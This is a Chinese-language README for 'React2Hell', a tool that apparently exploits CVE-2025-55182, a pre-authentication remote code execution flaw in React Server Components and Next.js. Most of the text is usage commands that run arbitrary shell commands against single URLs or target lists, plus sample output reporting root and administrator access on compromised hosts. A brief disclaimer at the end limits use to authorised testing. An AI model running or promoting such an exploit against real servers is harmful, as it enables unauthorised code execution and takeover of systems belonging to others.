@#React2Hell — CVE-2025-55182 漏洞利用
🔥 Next.js / React 服务端远程代码执行 (RCE) 漏洞利用
█████▄ ▄▄▄▄▄ ▄▄▄ ▄▄▄▄ ▄▄▄▄▄▄ ████▄ ▄▄▄▄▄ ██ ██ ▄▄▄▄▄ ▄▄ ▄▄
██▄▄██▄ ██▄▄ ██▀██ ██▀▀▀ ██ ▄██▀ ██▄▄ ██████ ██▄▄ ██ ██
██ ██ ██▄▄▄ ██▀██ ▀████ ██ ███▄▄ ▄▄▄███ ██ ██ ██▄▄▄ ██▄▄▄ ██▄▄▄
{MAGENTA} Next.js/React 服务端 RCE 漏洞利用 — CVE-2025-55182
作者:Ankit Pandey GitHub: https://github.com/ankitspandey07
🚀 React2Shell — 安全测试工具 🚀
════════════════════════════════════════════════════════════════════════
usage: new.py [-h] [-u URL] [-l LIST] -c COMMAND [--proxy PROXY] [--proxy-https PROXY_HTTPS]
React2Hell 是一个强大的漏洞利用工具,用于测试和利用 CVE-2025-55182,这是一个影响 Next.js 和 React Server Actions 的严重远程代码执行漏洞。
在 React Server Components 的 19.0.0、19.1.0、19.1.1 和 19.2.0 版本中存在一个预认证远程代码执行漏洞,涉及以下包:react-server-dom-parcel、react-server-dom-turbopack 和 react-server-dom-webpack。漏洞代码不安全地反序列化来自 HTTP 请求到 Server Function 端点的负载。
python Scanner.py -u https://target.com -c "whoami"
python Scanner.py -l urls.txt -c "whoami"
python Scanner.py -u https://target.com -c "whoami" --proxy 127.0.0.1:8080
python Scanner.py -u https://target.com -c "whoami" --proxy-https 127.0.0.1:8080
http://site1.com
https://site2.com
http://192.168.1.10:3000
PS D:\Ankitspandey07\React2Hell> python.exe .\Scanner.py -l .\list.txt -c whoami
█████▄ ▄▄▄▄▄ ▄▄▄ ▄▄▄▄ ▄▄▄▄▄▄ ████▄ ▄▄▄▄▄ ██ ██ ▄▄▄▄▄ ▄▄ ▄▄
██▄▄██▄ ██▄▄ ██▀██ ██▀▀▀ ██ ▄██▀ ██▄▄ ██████ ██▄▄ ██ ██
██ ██ ██▄▄▄ ██▀██ ▀████ ██ ███▄▄ ▄▄▄███ ██ ██ ██▄▄▄ ██▄▄▄ ██▄▄▄
{MAGENTA} Next.js/React 服务端 RCE 漏洞利用 — CVE-2025-55182
作者:Ankit Pandey GitHub: https://github.com/ankitspandey07
🚀 React2Shell — 安全测试工具 🚀
════════════════════════════════════════════════════════════════════════
[+] Loaded 3 targets
════════════════════════════════════════════════════════════════════════
[→] Target: http://evil.com:3113/
[→] Exec: whoami
[✓] VULNERABLE — RCE Successful!
------------------------------------------------------------
root
------------------------------------------------------------
────────────────────────────────────────────────────────────────────────
[→] Target: http://example.lab:2000/
[→] Exec: whoami
[✗] Not vulnerable — Status: 200
────────────────────────────────────────────────────────────────────────
[→] Target: https://tale.lab:3000/
[→] Exec: whoami
[✓] VULNERABLE — RCE Successful!
------------------------------------------------------------
win-1fl835ovldc\\administrator
------------------------------------------------------------
────────────────────────────────────────────────────────────────────────
[✓] Scan complete — Vulnerable: 2
PS D:\Ankitspandey07\React2Hell>
此工具仅用于教育和安全研究目的。 未经明确授权,请勿在系统上使用。 您对自己的行为负责。
如果此漏洞利用对您有帮助,请考虑在 GitHub 上留下一颗 ⭐ ❤️
Ankit Pandey;GitHub: https://github.com/Ankitspandey07
由一位自豪且充满热情的渗透测试员用 🔥 打造,他每一步都在不断学习成长。